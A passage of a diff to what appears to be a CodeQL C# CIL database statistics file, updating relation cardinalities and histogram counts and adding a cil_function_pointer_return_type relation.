</b> <b> <a>2</a> <b>3</b> -<v>1410</v> +<v>1413</v> </b> <b> <a>3</a> <b>7</b> -<v>407</v> +<v>408</v> </b> <b> <a>7</a> <b>10</b> -<v>449</v> +<v>450</v> </b> <b> <a>11</a> <b>28</b> -<v>388</v> +<v>389</v> </b> <b> <a>28</a> @@ -35189,7 +35183,7 @@ </e> <e> <k>name</k> -<v>6</v> +<v>3</v> </e> </columnsizes> <dependencies> @@ -35217,19 +35211,9 @@ <budget>12</budget> <bs> <b> -<a>1</a> -<b>2</b> -<v>4</v> -</b> -<b> -<a>2</a> -<b>3</b> -<v>1</v> -</b> -<b> <a>3</a> <b>4</b> -<v>1</v> +<v>3</v> </b> </bs> </hist> @@ -35250,23 +35234,23 @@ </relation> <relation> <name>cil_instruction</name> -<cardinality>32096629</cardinality> +<cardinality>32177521</cardinality> <columnsizes> <e> <k>id</k> -<v>32096629</v> +<v>32177521</v> </e> <e> <k>opcode</k> -<v>962</v> +<v>964</v> </e> <e> <k>index</k> -<v>331661</v> +<v>332497</v> </e> <e> <k>impl</k> -<v>1722264</v> +<v>1726604</v> </e> </columnsizes> <dependencies> @@ -35280,7 +35264,7 @@ <b> <a>1</a> <b>2</b> -<v>32096629</v> +<v>32177521</v> </b> </bs> </hist> @@ -35296,7 +35280,7 @@ <b> <a>1</a> <b>2</b> -<v>32096629</v> +<v>32177521</v> </b> </bs> </hist> @@ -35312,7 +35296,7 @@ <b> <a>1</a> <b>2</b> -<v>32096629</v> +<v>32177521</v> </b> </bs> </hist> @@ -35333,62 +35317,62 @@ <b> <a>7</a> <b>42</b> -<v>72</v> +<v>73</v> </b> <b> <a>46</a> <b>106</b> -<v>72</v> +<v>73</v> </b> <b> <a>128</a> <b>302</b> -<v>72</v> +<v>73</v> </b> <b> <a>304</a> <b>953</b> -<v>72</v> +<v>73</v> </b> <b> <a>1002</a> <b>1752</b> -<v>72</v> +<v>73</v> </b> <b> <a>1791</a> <b>2952</b> -<v>72</v> +<v>73</v> </b> <b> <a>3194</a> <b>4898</b> -<v>72</v> +<v>73</v> </b> <b> <a>5191</a> <b>11577</b> -<v>72</v> +<v>73</v> </b> <b> <a>11669</a> <b>19719</b> -<v>72</v> +<v>73</v> </b> <b> <a>19906</a> <b>53412</b> -<v>72</v> +<v>73</v> </b> <b> <a>54233</a> <b>104298</b> -<v>72</v> +<v>73</v> </b> <b> <a>104740</a> <b>420483</b> -<v>72</v> +<v>73</v> </b> <b> <a>562153</a> @@ -35414,22 +35398,22 @@ <b> <a>10</a> <b>31</b> -<v>72</v> +<v>73</v> </b> <b> <a>32</a> <b>68</b> -<v>72</v> +<v>73</v> </b> <b> <a>75</a> <b>148</b> -<v>72</v> +<v>73</v> </b> <b> <a>150</a> <b>214</b> -<v>72</v> +<v>73</v> </b> <b> <a>214</a> @@ -35439,37 +35423,37 @@ <b> <a>323</a> <b>468</b> -<v>72</v> +<v>73</v> </b> <b> <a>486</a> <b>699</b> -<v>72</v> +<v>73</v> </b> <b> <a>714</a> <b>872</b> -<v>72</v> +<v>73</v> </b> <b> <a>879</a> <b>1176</b> -<v>72</v> +<v>73</v> </b> <b> <a>1185</a> <b>1360</b> -<v>72</v> +<v>73</v> </b> <b> <a>1382</a> <b>2349</b> -<v>72</v> +<v>73</v> </b> <b> <a>2641</a> <b>31606</b> -<v>72</v> +<v>73</v> </b> </bs> </hist> @@ -35490,62 +35474,62 @@ <b> <a>7</a> <b>22</b> -<v>72</v> +<v>73</v> </b> <b> <a>26</a> <b>58</b> -<v>72</v> +<v>73</v> </b> <b> <a>62</a> <b>191</b> -<v>72</v> +<v>73</v> </b> <b> <a>192</a> <b>422</b> -<v>72</v> +<v>73</v> </b> <b> <a>434</a> <b>696</b> -<v>72</v> +<v>73</v> </b> <b> <a>703</a> <b>993</b> -<v>72</v> +<v>73</v> </b> <b> <a>1012</a> <b>2698</b> -<v>72</v> +<v>73</v> </b> <b> <a>2754</a> <b>5088</b> -<v>72</v> +<v>73</v> </b> <b> <a>5150</a> <b>9841</b> -<v>72</v> +<v>73</v> </b> <b> <a>10112</a> <b>16999</b> -<v>72</v> +<v>73</v> </b> <b> <a>18955</a> <b>42845</b> -<v>72</v> +<v>73</v> </b> <b> <a>44005</a> <b>171634</b> -<v>72</v> +<v>73</v> </b> <b> <a>243198</a> @@ -35566,22 +35550,22 @@ <b> <a>1</a> <b>2</b> -<v>259787</v> +<v>260442</v> </b> <b> <a>2</a> <b>11</b> -<v>30526</v> +<v>30603</v> </b> <b> <a>11</a> <b>25</b> -<v>25432</v> +<v>25496</v> </b> <b> <a>25</a> <b>354308</b> -<v>15914</v> +<v>15954</v> </b> </bs> </hist> @@ -35597,22 +35581,22 @@ <b> <a>1</a> <b>2</b> -<v>260380</v> +<v>261037</v> </b> <b> <a>2</a> <b>3</b> -<v>17640</v> +<v>17684</v> </b> <b> <a>3</a> <b>5</b> -<v>28664</v> +<v>28737</v> </b> <b> <a>5</a> <b>160</b> -<v>24878</v> +<v>24940</v> </b> <b> <a>160</a> @@ -35633,22 +35617,22 @@ <b> <a>1</a> <b>2</b> -<v>259787</v> +<v>260442</v> </b> <b> <a>2</a> <b>11</b> -<v>30526</v> +<v>30603</v> </b> <b> <a>11</a> <b>25</b> -<v>25432</v> +<v>25496</v> </b> <b> <a>25</a> <b>354308</b> -<v>15914</v> +<v>15954</v> </b> </bs> </hist> @@ -35664,57 +35648,57 @@ <b> <a>1</a> <b>2</b> -<v>83812</v> +<v>84023</v> </b> <b> <a>2</a> <b>3</b> -<v>251242</v> +<v>251875</v> </b> <b> <a>3</a> <b>4</b> -<v>331549</v> +<v>332385</v> </b> <b> <a>4</a> <b>5</b> -<v>195404</v> +<v>195897</v> </b> <b> <a>5</a> <b>6</b> -<v>106809</v> +<v>107078</v> </b> <b> <a>6</a> <b>9</b> -<v>157611</v> +<v>158008</v> </b> <b> <a>9</a> <b>14</b> -<v>150635</v> +<v>151015</v> </b> <b> <a>14</a> <b>21</b> -<v>133520</v> +<v>133856</v> </b> <b> <a>21</a> <b>35</b> -<v>131177</v> +<v>131507</v> </b> <b> <a>35</a> <b>106</b> -<v>129208</v> +<v>129534</v> </b> <b> <a>106</a> <b>68231</b> -<v>51292</v> +<v>51421</v> </b> </bs> </hist> @@ -35730,57 +35714,57 @@ <b> <a>1</a> <b>2</b> -<v>83812</v> +<v>84023</v> </b> <b> <a>2</a> <b>3</b> -<v>251529</v> +<v>252163</v> </b> <b> <a>3</a> <b>4</b> -<v>337504</v> +<v>338355</v> </b> <b> <a>4</a> <b>5</b> -<v>238885</v> +<v>239487</v> </b> <b> <a>5</a> <b>6</b> -<v>132115</v> +<v>132448</v> </b> <b> <a>6</a> <b>7</b> -<v>96095</v> +<v>96338</v> </b> <b> <a>7</a> <b>9</b> -<v>147427</v> +<v>147798</v> </b> <b> <a>9</a> <b>12</b> -<v>128547</v> +<v>128871</v> </b> <b> <a>12</a> <b>17</b> -<v>135479</v> +<v>135820</v> </b> <b> <a>17</a> <b>33</b> -<v>131770</v> +<v>132102</v> </b> <b> <a>33</a> <b>74</b> -<v>39096</v> +<v>39195</v> </b> </bs> </hist> @@ -35796,57 +35780,57 @@ <b> <a>1</a> <b>2</b> -<v>83812</v> +<v>84023</v> </b> <b> <a>2</a> <b>3</b> -<v>251242</v> +<v>251875</v> </b> <b> <a>3</a> <b>4</b> -<v>331549</v> +<v>332385</v> </b> <b> <a>4</a> <b>5</b> -<v>195404</v> +<v>195897</v> </b> <b> <a>5</a> <b>6</b> -<v>106809</v> +<v>107078</v> </b> <b> <a>6</a> <b>9</b> -<v>157611</v> +<v>158008</v> </b> <b> <a>9</a> <b>14</b> -<v>150635</v> +<v>151015</v> </b> <b> <a>14</a> <b>21</b> -<v>133520</v> +<v>133856</v> </b> <b> <a>21</a> <b>35</b> -<v>131177</v> +<v>131507</v> </b> <b> <a>35</a> <b>106</b> -<v>129208</v> +<v>129534</v> </b> <b> <a>106</a> <b>68231</b> -<v>51292</v> +<v>51421</v> </b> </bs> </hist> @@ -35856,15 +35840,15 @@ </relation> <relation> <name>cil_jump</name> -<cardinality>1999371</cardinality> +<cardinality>2004410</cardinality> <columnsizes> <e> <k>instruction</k> -<v>1999371</v> +<v>2004410</v> </e> <e> <k>target</k> -<v>1601290</v> +<v>1605325</v> </e> </columnsizes> <dependencies> @@ -35878,7 +35862,7 @@ <b> <a>1</a> <b>2</b> -<v>1999371</v> +<v>2004410</v> </b> </bs> </hist> @@ -35894,17 +35878,17 @@ <b> <a>1</a> <b>2</b> -<v>1388118</v> +<v>1391616</v> </b> <b> <a>2</a> <b>3</b> -<v>143397</v> +<v>143759</v> </b> <b> <a>3</a> <b>360</b> -<v>69773</v> +<v>69949</v> </b> </bs> </hist> @@ -35914,15 +35898,15 @@ </relation> <relation> <name>cil_access</name> -<cardinality>11901276</cardinality> +<cardinality>11931270</cardinality> <columnsizes> <e> <k>instruction</k> -<v>11901276</v> +<v>11931270</v> </e> <e> <k>target</k> -<v>2659331</v> +<v>2666033</v> </e> </columnsizes> <dependencies> @@ -35936,7 +35920,7 @@ <b> <a>1</a> <b>2</b> -<v>11901276</v> +<v>11931270</v> </b> </bs> </hist> @@ -35952,37 +35936,37 @@ <b> <a>1</a> <b>2</b> -<v>943060</v> +<v>945437</v> </b> <b> <a>2</a> <b>3</b> -<v>738507</v> +<v>740368</v> </b> <b> <a>3</a> <b>4</b> -<v>268518</v> +<v>269194</v> </b> <b> <a>4</a> <b>5</b> -<v>186752</v> +<v>187223</v> </b> <b> <a>5</a> <b>7</b> -<v>226237</v> +<v>226807</v> </b> <b> <a>7</a> <b>14</b> -<v>203133</v> +<v>203645</v> </b> <b> <a>14</a> <b>25741</b> -<v>93120</v> +<v>93355</v> </b> </bs> </hist> @@ -35992,15 +35976,15 @@ </relation> <relation> <name>cil_value</name> -<cardinality>1880259</cardinality> +<cardinality>1884998</cardinality> <columnsizes> <e> <k>instruction</k> -<v>1880259</v> +<v>1884998</v> </e> <e> <k>value</k> -<v>493866</v> +<v>495111</v> </e> </columnsizes> <dependencies> @@ -36014,7 +35998,7 @@ <b> <a>1</a> <b>2</b> -<v>1880259</v> +<v>1884998</v> </b> </bs> </hist> @@ -36030,27 +36014,27 @@ <b> <a>1</a> <b>2</b> -<v>333703</v> +<v>334544</v> </b> <b> <a>2</a> <b>3</b> -<v>78849</v> +<v>79047</v> </b> <b> <a>3</a> <b>6</b> -<v>40627</v> +<v>40730</v> </b> <b> <a>6</a> <b>33</b> -<v>37176</v> +<v>37270</v> </b> <b> <a>33</a> <b>86799</b> -<v>3509</v> +<v>3518</v> </b> </bs> </hist> @@ -36060,19 +36044,19 @@ </relation> <relation> <name>cil_switch</name> -<cardinality>194014</cardinality> +<cardinality>194503</cardinality> <columnsizes> <e> <k>instruction</k> -<v>23804</v> +<v>23864</v> </e> <e> <k>index</k> -<v>2513</v> +<v>2519</v> </e> <e> <k>target</k> -<v>130346</v> +<v>130674</v> </e> </columnsizes> <dependencies> @@ -36086,42 +36070,42 @@ <b> <a>3</a> <b>4</b> -<v>7004</v> +<v>7022</v> </b> <b> <a>4</a> <b>5</b> -<v>4583</v> +<v>4595</v> </b> <b> <a>5</a> <b>6</b> -<v>3222</v> +<v>3230</v> </b> <b> <a>6</a> <b>7</b> -<v>1681</v> +<v>1686</v> </b> <b> <a>7</a> <b>8</b> -<v>1438</v> +<v>1442</v> </b> <b> <a>8</a> <b>11</b> -<v>2153</v> +<v>2158</v> </b> <b> <a>11</a> <b>17</b> -<v>1842</v> +<v>1846</v> </b> <b> <a>17</a> <b>128</b> -<v>1788</v> +<v>1793</v> </b> <b> <a>141</a> @@ -36142,42 +36126,42 @@ <b> <a>1</a> <b>3</b> -<v>1054</v> +<v>1057</v> </b> <b> <a>3</a> <b>4</b> -<v>8229</v> +<v>8250</v> </b> <b> <a>4</a> <b>5</b> -<v>5478</v> +<v>5492</v> </b> <b> <a>5</a> <b>6</b> -<v>2566</v> +<v>2573</v> </b> <b> <a>6</a> <b>7</b> -<v>1837</v> +<v>1842</v> </b> <b> <a>7</a> <b>9</b> -<v>1696</v> +<v>1700</v> </b> <b> <a>9</a> <b>14</b> -<v>1793</v> +<v>1798</v> </b> <b> <a>14</a> <b>204</b> -<v>1147</v> +<v>1150</v> </b> </bs> </hist> @@ -36198,7 +36182,7 @@ <b> <a>2</a> <b>3</b> -<v>986</v> +<v>989</v> </b> <b> <a>3</a> @@ -36208,7 +36192,7 @@ <b> <a>4</a> <b>5</b> -<v>359</v> +<v>360</v> </b> <b> <a>6</a> @@ -36223,7 +36207,7 @@ <b> <a>18</a> <b>24</b> -<v>189</v> +<v>190</v> </b> <b> <a>25</a> @@ -36233,12 +36217,12 @@ <b> <a>47</a> <b>225</b> -<v>189</v> +<v>190</v> </b> <b> <a>238</a> <b>4898</b> -<v>106</v> +<v>107</v> </b> </bs> </hist> @@ -36259,7 +36243,7 @@ <b> <a>2</a> <b>3</b> -<v>972</v> +<v>974</v> </b> <b> <a>3</a> @@ -36294,7 +36278,7 @@ <b> <a>47</a> <b>271</b> -<v>189</v> +<v>190</v> </b> <b> <a>289</a> @@ -36315,12 +36299,12 @@ <b> <a>1</a> <b>2</b> -<v>128717</v> +<v>129042</v> </b> <b> <a>2</a> <b>12</b> -<v>1628</v> +<v>1632</v> </b> </bs> </hist> @@ -36336,17 +36320,17 @@ <b> <a>1</a> <b>2</b> -<v>117979</v> +<v>118277</v> </b> <b> <a>2</a> <b>7</b> -<v>9979</v> +<v>10004</v> </b> <b> <a>7</a> <b>253</b> -<v>2386</v> +<v>2392</v> </b> </bs> </hist> @@ -36424,15 +36408,15 @@ </relation> <relation> <name>cil_type_location</name> -<cardinality>276791</cardinality> +<cardinality>277489</cardinality> <columnsizes> <e> <k>id</k> -<v>254465</v> +<v>255106</v> </e> <e> <k>loc</k> -<v>3407</v> +<v>3416</v> </e> </columnsizes> <dependencies> @@ -36446,12 +36430,12 @@ <b> <a>1</a> <b>2</b> -<v>232138</v> +<v>232723</v> </b> <b> <a>2</a> <b>3</b> -<v>22326</v> +<v>22382</v> </b> </bs> </hist> @@ -36467,12 +36451,12 @@ <b> <a>1</a> <b>2</b> -<v>286</v> +<v>287</v> </b> <b> <a>2</a> <b>4</b> -<v>218</v> +<v>219</v> </b> <b> <a>4</a> @@ -36482,7 +36466,7 @@ <b> <a>6</a> <b>9</b> -<v>296</v> +<v>297</v> </b> <b> <a>9</a> @@ -36492,37 +36476,37 @@ <b> <a>13</a> <b>17</b> -<v>267</v> +<v>268</v> </b> <b> <a>17</a> <b>23</b> -<v>281</v> +<v>282</v> </b> <b> <a>23</a> <b>32</b> -<v>262</v> +<v>263</v> </b> <b> <a>32</a> <b>43</b> -<v>267</v> +<v>268</v> </b> <b> <a>43</a> <b>66</b> -<v>257</v> +<v>258</v> </b> <b> <a>66</a> <b>110</b> -<v>262</v> +<v>263</v> </b> <b> <a>112</a> <b>238</b> -<v>257</v> +<v>258</v> </b> <b> <a>239</a> @@ -36537,15 +36521,15 @@ </relation> <relation> <name>cil_method_location</name> -<cardinality>1880215</cardinality> +<cardinality>1884954</cardinality> <columnsizes> <e> <k>id</k> -<v>1792981</v> +<v>1797499</v> </e> <e> <k>loc</k> -<v>3120</v> +<v>3128</v> </e> </columnsizes> <dependencies> @@ -36559,12 +36543,12 @@ <b> <a>1</a> <b>2</b> -<v>1705746</v> +<v>1710045</v> </b> <b> <a>2</a> <b>3</b> -<v>87234</v> +<v>87454</v> </b> </bs> </hist> @@ -36580,7 +36564,7 @@ <b> <a>1</a> <b>11</b> -<v>257</v> +<v>258</v> </b> <b> <a>11</a> @@ -36595,7 +36579,7 @@ <b> <a>38</a> <b>53</b> -<v>252</v> +<v>253</v> </b> <b> <a>53</a> @@ -36610,7 +36594,7 @@ <b> <a>107</a> <b>138</b> -<v>247</v> +<v>248</v> </b> <b> <a>140</a> @@ -36650,15 +36634,15 @@ </relation> <relation> <name>cil_type</name> -<cardinality>793178</cardinality> +<cardinality>795153</cardinality> <columnsizes> <e> <k>id</k> -<v>793178</v> +<v>795153</v> </e> <e> <k>name</k> -<v>178712</v> +<v>179138</v> </e> <e> <k>kind</k> @@ -36666,11 +36650,11 @@ </e> <e> <k>parent</k> -<v>155117</v> +<v>155508</v> </e> <e> <k>sourceDecl</k> -<v>463679</v> +<v>464824</v> </e> </columnsizes> <dependencies> @@ -36684,7 +36668,7 @@ <b> <a>1</a> <b>2</b> -<v>793178</v> +<v>795153</v> </b> </bs> </hist> @@ -36700,7 +36684,7 @@ <b> <a>1</a> <b>2</b> -<v>793178</v> +<v>795153</v> </b> </bs> </hist> @@ -36716,7 +36700,7 @@ <b> <a>1</a> <b>2</b> -<v>793178</v> +<v>795153</v> </b> </bs> </hist> @@ -36732,7 +36716,7 @@ <b> <a>1</a> <b>2</b> -<v>793178</v> +<v>795153</v> </b> </bs> </hist> @@ -36748,22 +36732,22 @@ <b> <a>1</a> <b>2</b> -<v>137384</v> +<v>137706</v> </b> <b> <a>2</a> <b>3</b> -<v>22447</v> +<v>22504</v> </b> <b> <a>3</a> <b>7</b> -<v>14121</v> +<v>14156</v> </b> <b> <a>7</a> <b>21324</b> -<v>4758</v> +<v>4770</v> </b> </bs> </hist> @@ -36779,7 +36763,7 @@ <b> <a>1</a> <b>2</b> -<v>178712</v> +<v>179138</v> </b> </bs> </hist> @@ -36795,17 +36779,17 @@ <b> <a>1</a> <b>2</b> -<v>162097</v> +<v>162481</v> </b> <b> <a>2</a> <b>4</b> -<v>13615</v> +<v>13649</v> </b> <b> <a>4</a> <b>21324</b> -<v>2999</v> +<v>3006</v> </b> </bs> </hist> @@ -36821,17 +36805,17 @@ <b> <a>1</a> <b>2</b> -<v>145828</v> +<v>146171</v> </b> <b> <a>2</a> <b>3</b> -<v>22472</v> +<v>22528</v> </b> <b> <a>3</a> <b>21324</b> -<v>10412</v> +<v>10438</v> </b> </bs> </hist> @@ -36845,8 +36829,8 @@ <budget>12</budget> <bs> <b> -<a>128</a> -<b>129</b> +<a>123</a> +<b>124</b> <v>4</v> </b> <b> @@ -36881,8 +36865,8 @@ <v>4</v> </b> <b> -<a>106</a> -<b>107</b> +<a>101</a> +<b>102</b> <v>4</v> </b> <b> @@ -36912,8 +36896,8 @@ <v>4</v> </b> <b> -<a>32</a> -<b>33</b> +<a>31</a> +<b>32</b> <v>4</v> </b> <b> @@ -36938,8 +36922,8 @@ <budget>12</budget> <bs> <b> -<a>128</a> -<b>129</b> +<a>123</a> +<b>124</b> <v>4</v> </b> <b> @@ -36971,27 +36955,27 @@ <b> <a>1</a> <b>2</b> -<v>101574</v> +<v>101830</v> </b> <b> <a>2</a> <b>3</b> -<v>26740</v> +<v>26807</v> </b> <b> <a>3</a> <b>6</b> -<v>13314</v> +<v>13347</v> </b> <b> <a>6</a> <b>33</b> -<v>11675</v> +<v>11705</v> </b> <b> <a>33</a> -<b>26080</b> -<v>1813</v> +<b>26076</b> +<v>1817</v> </b> </bs> </hist> @@ -37007,27 +36991,27 @@ <b> <a>1</a> <b>2</b> -<v>102147</v> +<v>102405</v> </b> <b> <a>2</a> <b>3</b> -<v>27158</v> +<v>27226</v> </b> <b> <a>3</a> <b>6</b> -<v>13212</v> +<v>13245</v> </b> <b> <a>6</a> <b>38</b> -<v>11661</v> +<v>11690</v> </b> <b> <a>38</a> -<b>1430</b> -<v>938</v> +<b>1426</b> +<v>940</v> </b> </bs> </hist> @@ -37043,12 +37027,12 @@ <b> <a>1</a> <b>2</b> -<v>151918</v> +<v>152306</v> </b> <b> <a>2</a> <b>4</b> -<v>3198</v> +<v>3201</v> </b> </bs> </hist> @@ -37064,27 +37048,27 @@ <b> <a>1</a> <b>2</b> -<v>102045</v> +<v>102302</v> </b> <b> <a>2</a> <b>3</b> -<v>27177</v> +<v>27245</v> </b> <b> <a>3</a> <b>6</b> -<v>13119</v> +<v>13152</v> </b> <b> <a>6</a> <b>38</b> -<v>11641</v> +<v>11671</v> </b> <b> <a>38</a> -<b>3477</b> -<v>1132</v> +<b>3473</b> +<v>1135</v> </b> </bs> </hist> @@ -37100,12 +37084,12 @@ <b> <a>1</a> <b>2</b> -<v>436949</v> +<v>438026</v> </b> <b> <a>2</a> <b>3705</b> -<v>26730</v> +<v>26797</v> </b> </bs> </hist> @@ -37121,7 +37105,7 @@ <b> <a>1</a> <b>2</b> -<v>463679</v> +<v>464824</v> </b> </bs> </hist> @@ -37137,7 +37121,7 @@ <b> <a>1</a> <b>2</b> -<v>463679</v> +<v>464824</v> </b> </bs> </hist> @@ -37153,12 +37137,12 @@ <b> <a>1</a> <b>2</b> -<v>455372</v> +<v>456495</v> </b> <b> <a>2</a> <b>225</b> -<v>8307</v> +<v>8328</v> </b> </bs> </hist> @@ -37168,15 +37152,15 @@ </relation> <relation> <name>cil_pointer_type</name> -<cardinality>622</cardinality> +<cardinality>599</cardinality> <columnsizes> <e> <k>id</k> -<v>622</v> +<v>599</v> </e> <e> <k>pointee</k> -<v>622</v> +<v>599</v> </e> </columnsizes> <dependencies> @@ -37190,7 +37174,7 @@ <b> <a>1</a> <b>2</b> -<v>622</v> +<v>599</v> </b> </bs> </hist> @@ -37206,7 +37190,7 @@ <b> <a>1</a> <b>2</b> -<v>622</v> +<v>599</v> </b> </bs> </hist> @@ -37216,15 +37200,15 @@ </relation> <relation> <name>cil_array_type</name> -<cardinality>14140</cardinality> +<cardinality>14176</cardinality> <columnsizes> <e> <k>id</k> -<v>14140</v> +<v>14176</v> </e> <e> <k>element_type</k> -<v>14062</v> +<v>14098</v> </e> <e> <k>rank</k> @@ -37242,7 +37226,7 @@ <b> <a>1</a> <b>2</b> -<v>14140</v> +<v>14176</v> </b> </bs> </hist> @@ -37258,7 +37242,7 @@ <b> <a>1</a> <b>2</b> -<v>14140</v> +<v>14176</v> </b> </bs> </hist> @@ -37274,12 +37258,12 @@ <b> <a>1</a> <b>2</b> -<v>13989</v> +<v>14025</v> </b> <b> <a>2</a> <b>4</b> -<v>72</v> +<v>73</v> </b> </bs> </hist> @@ -37295,12 +37279,12 @@ <b> <a>1</a> <b>2</b> -<v>13989</v> +<v>14025</v> </b> <b> <a>2</a> <b>4</b> -<v>72</v> +<v>73</v> </b> </bs> </hist> @@ -37361,24 +37345,77 @@ </dependencies> </relation> <relation> -<name>cil_method</name> -<cardinality>2307141</cardinality> +<name>cil_function_pointer_return_type</name> +<cardinality>9</cardinality> <columnsizes> <e> <k>id</k> -<v>2307141</v> -</e> -<e> -<k>name</k> -<v>438748</v> -</e> -<e> -<k>parent</k> -<v>379143</v> +<v>9</v> </e> <e> <k>return_type</k> -<v>213424</v> +<v>6</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>return_type</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>9</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>return_type</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>cil_method</name> +<cardinality>2312956</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>2312956</v> +</e> +<e> +<k>name</k> +<v>439853</v> +</e> +<e> +<k>parent</k> +<v>380098</v> +</e> +<e> +<k>return_type</k> +<v>213962</v> </e> </columnsizes> <dependencies> @@ -37392,7 +37429,7 @@ <b> <a>1</a> <b>2</b> -<v>2307141</v> +<v>2312956</v> </b> </bs> </hist> @@ -37408,7 +37445,7 @@ <b> <a>1</a> <b>2</b> -<v>2307141</v> +<v>2312956</v> </b> </bs> </hist> @@ -37424,7 +37461,7 @@ <b> <a>1</a> <b>2</b> -<v>2307141</v> +<v>2312956</v> </b> </bs> </hist> @@ -37440,27 +37477,27 @@ <b> <a>1</a> <b>2</b> -<v>270321</v> +<v>271002</v> </b> <b> <a>2</a> <b>3</b> -<v>79403</v> +<v>79603</v> </b> <b> <a>3</a> <b>4</b> -<v>24970</v> +<v>25033</v> </b> <b> <a>4</a> <b>7</b> -<v>33409</v> +<v>33493</v> </b> <b> <a>7</a> <b>64064</b> -<v>30643</v> +<v>30720</v> </b> </bs> </hist> @@ -37476,27 +37513,27 @@ <b> <a>1</a> <b>2</b> -<v>284296</v> +<v>285013</v> </b> <b> <a>2</a> <b>3</b> -<v>76370</v> +<v>76562</v> </b> <b> <a>3</a> <b>5</b> -<v>39767</v> +<v>39867</v> </b> <b> <a>5</a> <b>25</b> -<v>33073</v> +<v>33157</v> </b> <b> <a>25</a> <b>52725</b> -<v>5240</v> +<v>5253</v> </b> </bs> </hist> @@ -37512,17 +37549,17 @@ <b> <a>1</a> <b>2</b> -<v>383119</v> +<v>384085</v> </b> <b> <a>2</a> <b>4</b> -<v>40127</v> +<v>40228</v> </b> <b> <a>4</a> <b>2803</b> -<v>15501</v> +<v>15540</v> </b> </bs> </hist> @@ -37538,42 +37575,42 @@ <b> <a>1</a> <b>2</b> -<v>107694</v> +<v>107965</v> </b> <b> <a>2</a> <b>3</b> -<v>84288</v> +<v>84501</v> </b> <b> <a>3</a> <b>4</b> -<v>49819</v> +<v>49945</v> </b> <b> <a>4</a> <b>5</b> -<v>28494</v> +<v>28566</v> </b> <b> <a>5</a> <b>7</b> -<v>30789</v> +<v>30866</v> </b> <b> <a>7</a> <b>11</b> -<v>32830</v> +<v>32913</v> </b> <b> <a>11</a> <b>21</b> -<v>28878</v> +<v>28951</v> </b> <b> <a>21</a> <b>3536</b> -<v>16347</v> +<v>16388</v> </b> </bs> </hist> @@ -37589,42 +37626,42 @@ <b> <a>1</a> <b>2</b> -<v>114066</v> +<v>114354</v> </b> <b> <a>2</a> <b>3</b> -<v>86437</v> +<v>86655</v> </b> <b> <a>3</a> <b>4</b> -<v>50373</v> +<v>50500</v> </b> <b> <a>4</a> <b>5</b> -<v>28839</v> +<v>28912</v> </b> <b> <a>5</a> <b>7</b> -<v>32787</v> +<v>32869</v> </b> <b> <a>7</a> <b>11</b> -<v>29933</v> +<v>30009</v> </b> <b> <a>11</a> <b>26</b> -<v>28616</v> +<v>28688</v> </b> <b> <a>26</a> <b>1885</b> -<v>8088</v> +<v>8108</v> </b> </bs> </hist> @@ -37640,32 +37677,32 @@ <b> <a>1</a> <b>2</b> -<v>161737</v> +<v>162145</v> </b> <b> <a>2</a> <b>3</b> -<v>93446</v> +<v>93682</v> </b> <b> <a>3</a> <b>4</b> -<v>46271</v> +<v>46387</v> </b> <b> <a>4</a> <b>5</b> -<v>23235</v> +<v>23293</v> </b> <b> <a>5</a> <b>7</b> -<v>28319</v> +<v>28391</v> </b> <b> <a>7</a> <b>1924</b> -<v>26132</v> +<v>26198</v> </b> </bs> </hist> @@ -37681,27 +37718,27 @@ <b> <a>1</a> <b>2</b> -<v>131619</v> +<v>131951</v> </b> <b> <a>2</a> <b>3</b> -<v>38138</v> +<v>38235</v> </b> <b> <a>3</a> <b>5</b> -<v>18792</v> +<v>18839</v> </b> <b> <a>5</a> <b>13</b> -<v>16522</v> +<v>16563</v> </b> <b> <a>13</a> <b>190707</b> -<v>8351</v> +<v>8372</v> </b> </bs> </hist> @@ -37717,22 +37754,22 @@ <b> <a>1</a> <b>2</b> -<v>153134</v> +<v>153520</v> </b> <b> <a>2</a> <b>3</b> -<v>30264</v> +<v>30340</v> </b> <b> <a>3</a> <b>6</b> -<v>19093</v> +<v>19141</v> </b> <b> <a>6</a> <b>28461</b> -<v>10932</v> +<v>10959</v> </b> </bs> </hist> @@ -37748,22 +37785,22 @@ <b> <a>1</a> <b>2</b> -<v>145006</v> +<v>145372</v> </b> <b> <a>2</a> <b>3</b> -<v>35295</v> +<v>35384</v> </b> <b> <a>3</a> <b>5</b> -<v>17504</v> +<v>17548</v> </b> <b> <a>5</a> <b>62018</b> -<v>15618</v> +<v>15657</v> </b> </bs> </hist> @@ -37773,15 +37810,15 @@ </relation> <relation> <name>cil_method_source_declaration</name> -<cardinality>2101441</cardinality> +<cardinality>2106737</cardinality> <columnsizes> <e> <k>method</k> -<v>2101441</v> +<v>2106737</v> </e> <e> <k>source</k> -<v>1859473</v> +<v>1864160</v> </e> </columnsizes> <dependencies> @@ -37795,7 +37832,7 @@ <b> <a>1</a> <b>2</b> -<v>2101441</v> +<v>2106737</v> </b> </bs> </hist> @@ -37811,12 +37848,12 @@ <b> <a>1</a> <b>2</b> -<v>1754813</v> +<v>1759235</v> </b> <b> <a>2</a> <b>1021</b> -<v>104660</v> +<v>104924</v> </b> </bs> </hist> @@ -37826,19 +37863,19 @@ </relation> <relation> <name>cil_method_implementation</name> -<cardinality>1722264</cardinality> +<cardinality>1726604</cardinality> <columnsizes> <e> <k>id</k> -<v>1722264</v> +<v>1726604</v> </e> <e> <k>method</k> -<v>1635671</v> +<v>1639793</v> </e> <e> <k>location</k> -<v>3086</v> +<v>3094</v> </e> </columnsizes> <dependencies> @@ -37852,7 +37889,7 @@ <b> <a>1</a> <b>2</b> -<v>1722264</v> +<v>1726604</v> </b> </bs> </hist> @@ -37868,7 +37905,7 @@ <b> <a>1</a> <b>2</b> -<v>1722264</v> +<v>1726604</v> </b> </bs> </hist> @@ -37884,12 +37921,12 @@ <b> <a>1</a> <b>2</b> -<v>1549078</v> +<v>1552982</v> </b> <b> <a>2</a> <b>3</b> -<v>86592</v> +<v>86810</v> </b> </bs> </hist> @@ -37905,12 +37942,12 @@ <b> <a>1</a> <b>2</b> -<v>1549078</v> +<v>1552982</v> </b> <b> <a>2</a> <b>3</b> -<v>86592</v> +<v>86810</v> </b> </bs> </hist> @@ -37951,7 +37988,7 